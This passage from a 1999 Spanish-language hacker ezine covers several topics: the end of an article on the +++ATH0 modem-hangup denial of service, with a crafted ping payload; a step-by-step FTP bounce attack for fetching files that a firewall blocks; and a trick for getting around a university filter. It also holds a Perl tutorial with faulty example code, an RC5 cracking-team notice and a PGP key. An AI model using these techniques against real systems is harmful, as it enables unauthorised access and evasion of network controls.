5 packets transmitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 180.1/186.5/190.1 ms
[root@narf ath0]#

  En los statistics se ve que la mquina  respondi a todos los packets.
  No funcion.

  Y utilizando el comando de IRC no obtuve  ningn resultado. Si alguien
  logra que funcione por favor mandeme un email.

  Por lo visto tambin se puede  lograr el DoS con solo  mandar un email
  con el +++ATH0 el mail se colgaba. No estoy seguro de esto. Si alguien
  logra que funcione avisenme.

  En PacketStorm (http://packetstorm.securify.com) tambin se  encuentra
  un programita en C. Al final del artculo se  encuentra  el  source de
  gin.c

=================================>ARREGLO<==============================

  Bueno  lo  esencial  aqu es o cambiar  el escape  character  al  algo
  diferente  que  no  sea +++ o prevenir  que el modem  entre en modo de
  comando. El arreglo mas fcil que hay es este:

ping -c 1 -p 2b2b2b415453323d32353526574f310d host

  Esto lo que  hace es cambiar  el escape character remotamente, lo cual
  se logra mediante el comando

+++ATS2=255&WO1

  Tambin  manda  el comando 01 que se  supone  que evita  que el  modem
  entre en command mode. Esto a veces ocasiona que el modem se "cuelgue"
  pero arregla el problema.

 ===============================================
||                TiT0_C                      ||
||                                            ||
||  PGP Key ID: 0x6DD1A00F                    ||
||  ICQ#:9288616                              ||
||                                            ||
|| Error de Windows #934:Su teclado no        ||
|| funciona.Presione F5 para continuar.       ||
||                                            ||
===============================================

   ͻ
͹ Bounce Attack ͹Teken Melocotoff
   ͼ

  Bounce attack, o ataque  de rebote  es una tcnica  que  en  teora es
  simple,  pero  en  su  aplicacin   puede  ser   bastante  complicada,
  dependiendo  de  lo que se quiere hacer. En su procedimiento se parece
  mucho  a la  utilizacin de un wingate/proxy/condom pero  las  sutiles
  diferencias son los importante lo suficiente para diferenciar.

  Ir desde un ejemplo bsico, y un ejemplo intermedio...

        Bsico
        ------
  Tas en la u, y quieres  acceder a hotmail. Pones la dire  de  hotmail,
  pero cuando  pones el pass y login y tratas  de ingresar, nada. Que es
  lo que pasa? Que el firewall de tu uni tiene un deny contra esa pagina
  o algn procedimiento o llamada que hace esa pagina. Que hacer?

  Pues muchos saben que  hotmail es  parte  de Mocosoft, y en el site de
  mocosoft tiene un espacio para el login y pass para hotmail.

  Vas ah, y haces tu login y pass, y Zasss estas in. Por qu?
  Porque  para el  firewall, solo aparecer  que ests trabajando con la
  pgina  de msn.  Cuando  metes  tu login/pass, las  llamadas  que hace
  hotmail   van  a  msn,  y  no  pasan  por  tu  mquina.  De  ah,  msn
  obedientemente  manda  las  pginas  de hotmail una vez accedidas a tu
  mquina (as es como accedo hotmail desde la uni).

  Osea, ests  insertando  un  comando  en una mquina, este lo procesa,
  y lo manda a su destino. El destino  manda a la  mquina  de en medio,
  esta procesa o lo que tenga que hacer, y los resultados van a ti, o tu
  a el, dependiendo. Aqui  yace la diferencia  entre los proxies, en que
  no tienes que necesariamente estar  conectado o ingresar a la mquina.
  Esta hace aparentar como si los comandos procedieran de ella.

  Avanzando  el  nivel  de la tcnica, se puede  hacer lo mismo con irc,
  fakemail, cualquier proceso  que tengas que hacer input a una mquina.
  El ejemplo clsico es el Ftp bounce.
  (LINUX/UNIX MODE ON)credits a 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 

  Supon que quieres archivos de una  mquina=a, pero  tu  domino=c tiene
  deny. Tu conoces de una maquina=b de la red en la que si puede acceder
  y esta tiene  un  directorio  donde puedas  escribir.  Pues  fcil. Tu
  mquina  antes  que  todo  debe  ser  habilitada  para  funcionar como
  servidor ftp y que pueda correr con opcin de modo pasv

  1. Entra en  una sesin  Ftp en tu propia mquina  con su IP (no local
     host)

  2. quote "pasv" quote  "stor archivo" El comando te dar  un address y
     un puerto, apntalos. El ftp estar esperando el archivo a recojer,
     as que estar en background. Abre un editor de texto (Emacs Roxs!)

  3. Construye un archivo que  contenga  los  comandos  que  quieras que
     haga el

      server. ejemplo:
      user ftp
      pass -anonymous@
      cwd /directorio-de-el.archivo-deseado
      type i  port address y port que regreso el pasv
      retr archivo_deseado
      quit
         ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
         ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@ ...
      EOF

  ^@=son  smbolos  que  representan null. Tienen que ser 250, y esto es
  para  asegurase  que  la  conexin no  se corte antes de tiempo. Si lo
  intentan sin los nulls no podrn bajar los archivos.

  4. Haz ftp a la  mquina  en que si puedes  escribir y sabes que tiene
     permiso  para  bajar  archivos,  y  ve  al  directorio donde puedas
     escribir.

  5. Sube el archivo "put archivo".

  6. quote port "IP.de.la.victima,0,21" <-- el 21 es el puerto para ftp.

  7. quote "retr archivo" <--- har  que se corra el archivo que subiste
     al servidor.

  Ahora  la  mquina  B le  dira a A "mndame el archivo". Como B  tiene
  permiso de bajar el archivo, A obedientemente  lo manda. B luego sigue
  la otra instruccin  que le  dice que te lo mande a ti. Como no tienes
  deny  a B, B te  manda  el  archivo.  Viola,  haz  bajado  un  archivo
  prohibido para tu domino.

  Esta misma tcnica se puede utilizar para cualquier otro procedimiento
  en cual  se  quiera mandar/subir comandos/informacin de una mquina a
  la otra, y no  necesariamente  por los puertos tradicionales. Ejemplos
  seran irc bombing, fakemail, news, etc.

                  |==========================================|
                  |            Teken Melocotoff              |
                  |Escojamos. Seremos lobo, pastor, u oveja. |
                  |            www.hven.com.ve               |
                  |        public.cwp.net.pa/~jomasa         |
                  |==========================================|

   ͻ
͹ Programacion en Linux ͹DoctorX
   ͼ

  Para nadie es un secreto que para un Hacker, Linux aparte de ser un S0
  muy estable es una poderosa herramienta para el hacking, pero de  que
  nos  sirve  tener  la  herramienta  si no sabemos como utilizarla o no
  sabemos  como   aprovechar  todas  sus   potencialidades?.  Para  ello
  utilizaremos un lenguaje de programacin muy versatil llamado Perl.

        Declaracin de Variables
        ------------------------
  En perl  las variables son declaradas simplemente utilizando un $, sin
  importar el tipo de  variable que es si es string o numrica para perl
  son  simplemente variables y uno como programador no se debe preocupar
  por el tipo de variables si no por que hacer con ellas.

  ejm:
$loco = 10 ; 

  Le asigna a la variable $loco el valor 10.

$BAN = "LabX - HVen - Venezuela\n" ;

  le asigna a la variable $BAN el string "LabX - HVen - Venezuela "
  notese que las lneas del programa deben terminar en ";"

        Incremento de Variables
        -----------------------

  En la ejecucin de un programa muchas  veces queremos llevar la cuenta
  de un evento y para ello se utilizan los  incrementos o decrementos de
  variables numricas.

++NOMBRE_VARIABLE incrementa
--NOMBRE_VARIABLE decrementa

  ejm:
#!/usr/bin/perl
$loco = 20 ;
if (loco < 10) {
--$loco ; }
else
{ ++$loco; }
endif ;
print $loco ;

  En este  ejemplo  se le asigna  el valor  de 20 a  la variable $loco y
  luego   se  incrementa  o  decrementa   dependiendo  de  la  condicin
  establecida en el IF  en este caso al final la variable loco tendra un
  valor  de  21  y  el mismo ser  mostrado en  pantalla  al ejecutar el
  script.

        Arreglos
        --------

  Normalmente  un  arreglo  en  una serie de datos colocados en forma de
  vector o matriz los cuales vamos a utilizar durante la ejecucin de el
  programa y que necesitamos que estn guardados.

  ejm:

@vector = ( "DoctorX" , "Biohazard" , "HVen" );

  De esta forma creamos un vector que contiene como elementos esos datos
  y si en un programa colocamos una linea como esta:

print $vector[1]; 

  dara como resultado
  DoctorX

  Y asi  sucesivamente, existe  otro tipo  de arreglos llamados hash que
  son los llamados arreglos asociativos o que tienen  para cada elemento
  un elemento  asociado como  por  ejemplo  asociar a la palabra HVen el
  string "www.hven.com.ve" para que cuando se busque el elemento HVen de
  como resultado www.hven.com.ve, esto por dar un ejemplo.

        Modulos de Perl
        ---------------

  Los  mdulos de perl son una serie de funciones previamente realizadas
  para dar ms  potencialidad  al lenguaje tal como lo son las librerias
  de C. Para incluir algn  mdulo de  perl se debe  utilizar la palabra
  use acompaado del nombre del mdulo.

  ejm:

use Shell;
use Socket;

  Esto debe colocarse en el encabezado de el programa y ests incluyendo
  el  mdulo  Shell  que  permite  ejecutar  comandos  del  shell en tus
  programas de perl de manera transparente, y el modulo de Socket que te
  permite  cargar  la libreria  socket.h de C como parte de tu programa.
  Algunos mdulos son:

  Env: Que  permite  mantener  las  variables  del  shell en tu programa
       dentro  de  un  arreglo  llamado %ENV (el % significa  que  es un
       arreglo asociativo).

  Config: Este permite tener acceso a la informacin de configuracin de
          perl.

  Cwd: Obtiene el PATH del directorio en donde estas parado.

  Time: Permite calcular tiempos entre el local y el GMT.

  Sys: Sirve para obtener el hostname.

  Net::Ping: Se utiliza para saber si un host esta online.

  Net::Telnet: Telnet.

  Exporter: Mtodo por defecto para importar modulos.

  DoctorX
  ------------------------------------------
  HVen - Seguridad - http://www.hven.com.ve
  Bactery - LabX  - http://bactery.8m.com
  ------------------------------------------
  comentarios enviarlos a 
 Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla
 
  flames enviarlos a /dev/null o /home/'whoami'

   ͻ
͹ RC5 DES ͹HVEN
   ͼ

        Proyecto Bovine

  Actualmente se est trabajando  en el algoritmo  RC5-64 bits que puede
  tomar  un par  de aos  en ser  roto por  su extencin, este algoritmo
  fueron  creados  por  RSA LABS, esta  compaia  ofrece  un premio a la
  persona que  logre romper  su  algoritmo, el  premio actualmente es de
  .000 de los  cuales 6.000 son  destinados  a una  organizacin  sin
  fines de lucro, 2.000 son para distributed.net por haber creado la red
  de computadores y los clientes para romper el algoritmo, 1.000 para el
  equipo al cual pertenezca la  persona y finalmente los 1.000 restantes
  son para el usuario que di con la clave correcta.

        Que mtodo se usa para romper el algoritmo?

  Se utiliza el mtodo de fuerza bruta que es un mtodo muy lento porque
  su funcionamiento se basa en utilizar todas las claves  posibles hasta
  encontrar la correcta pero esto a la vez la hace infalible.

        Como puede unirme a el proyecto bovine?

  Muy fcil, solo  tienes  que  bajar un cliente, que no es ms que  una
  aplicacin   que   correr  en   background  y  que   se  conectar  a
  distributed.net para bajar una serie de bloques  para probarlas con el
  algoritmo,  cuando  termine  con  los  bloques  locales se conectar a
  distributed  envindolos y pidiendo ms  para repetir el  ciclo  hasta
  encontrar la clave correcta.

        Donde bajo el cliente?

  http://n0cgi.distributed.net/cgi/select.cgi

        Como lo configuro?

  Solo especifica la cantidad de buffers y ponle tu direccion de  correo
  (esta sera tu id en distributed.net), en el resto de las  opciones las
  default harn el trabajo (a no ser que tengas necesidades especiales).

        Como me uno al Team HVen?

  Bueno es bastante simple, luego de que tengas el cliente funcionando y
  ya hayas enviado bloques debes esperar 24 horas  para aparecer  en las
  estadsticas   de  distributed,  luego   de  las  24  horas  busca  tu
  informacin en  distributed y pide  tu  password,  cuando  obtengas tu
  clave, busca el  Team Hven y haz  click en "i want to join this team",
  introduce tu e-mail y password, luego de esto ya ests en el Team HVen
  y los bloques que mandes seran contados para Hven.

        Liga Interna

  Al  unirte a HVEN estars formando parte de la liga  interna de ezines
  en  espaol  la  cual  es  encabezada  por la  gente de SET y nosotros
  estamos  ubicados  en la ltima posicin :-/ por ahora... Pero  con tu
  ayuda podemos  seguir subiendo en el ranking, esperamos que  te unas a
  nuestro equipo =)

  Hasta el 13 de Diciembre de 1999 as van...

Rank Equipo                 Primer Bloque  Das Miembros Bloques procesados
1517 SET ezine RC5-64 Team  4-Nov-1998     406     35        729,088
1826 J.J.F. / HACKERS TEAM  1-Oct-1998     440     31        567,308
2018 Proyecto R RC5 Team    15-Dic-1998    365     16        496,386
3070 NetSearch RC5-64 Team  29-Dic-1998    351     18        242,011
3210 Hven                   15-Dic-1998    365     24        220,189





   ͻ
͹ Llave PGP 
   ͼ

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use 

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
IK1qF0ev
=262M
-----END PGP PUBLIC KEY BLOCK-----

   ͻ
͹ Despedida ͹DarKdEaTH
   ͼ

  Hasta aqu lleg este  nuestro  segundo  nmero, que  personalmente me
  gust  bastante  y  nunca  hubiera  podido  terminarlo  sin la inmensa
  colaboracin de individuos como el pana DoctorX, Teken  y  Kliber  por
  solo mencionar algunos nicks  aunque de ms est  decirlo que  todo el
  equipo de HVEN ha trabajado duro  para ustedes  que nos  leen, nuestro
  tercer nmero estar  listo para... jeje, no lo s, pero de  seguro si
  sale :-P aunque la fecha en  que salga  puede variar  drsticamente si
  recibimos colaboraciones, pero recuerda  que el nivel debe  ser medio-
  alto, ahora  si me  despido  pidiendoles  que  se mantengan  en linea,  
  Saludos. Nos vemos por ah.

                              <[HVen Team]>

  Saludos y agradecimientos  a  toda la comunidad under latina que sigue
  ah a  pesar  de  todo, a Raregazz  quienes  han  aportado  tanto a la
  comunidad under, felicitaciones por su  resurreccin =), al  pana  Mr.
  Silence felicitaciones por su nuevo dominio, a  todos  los  que  hacen
  posible que el hack latino se mantenga y se supere...

Mr. Silence                     
Cyber Optik - HackHour          
Pata - RareGazz                 
Raza Mexicana                   
Mau - Zine-Store                
VanHackez                       
InET                            
Taker & Plaxius - Proyecto R    
otros que estrenan nuevo dominio, felicitaciones!!!
y a toda gente del HVEN TEAM
KaDiLaC, DitiemeF, HackVenger, Combel, ThunderByte y todos los dems!

ͻ
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXX      X      XXX      XXXXXXXX      XXX          XXX      XXXX      XXXX 
XXXXX    XXX    XXXXX    XXXXXXXXXX    XXXX    XXXXXXXXXX    XXXXXX    XXXXX 
XXXXX    XXX    XXXXXX    XXXXXXXX    XXXXX    XXXXXXXXXX       XXX    XXXXX
XXXXX           XXXXXXX    XXXXXX    XXXXXX        XXXXXX    X   XX    XXXXX 
XXXXX    XXX    XXXXXXXX    XXXX    XXXXXXX    XXXXXXXXXX    XXX      XXXXX 
XXXXX    XXX    XXXXXXXXX    XX    XXXXXXXX    XXXXXXXXXX    XXXXXX    XXXXX 
XXXX      X      XXXXXXXXXX      XXXXXXXXXX          XXX      XXXX      XXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  EZINE  XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX       
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX * * * * * * * XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX  
ͼ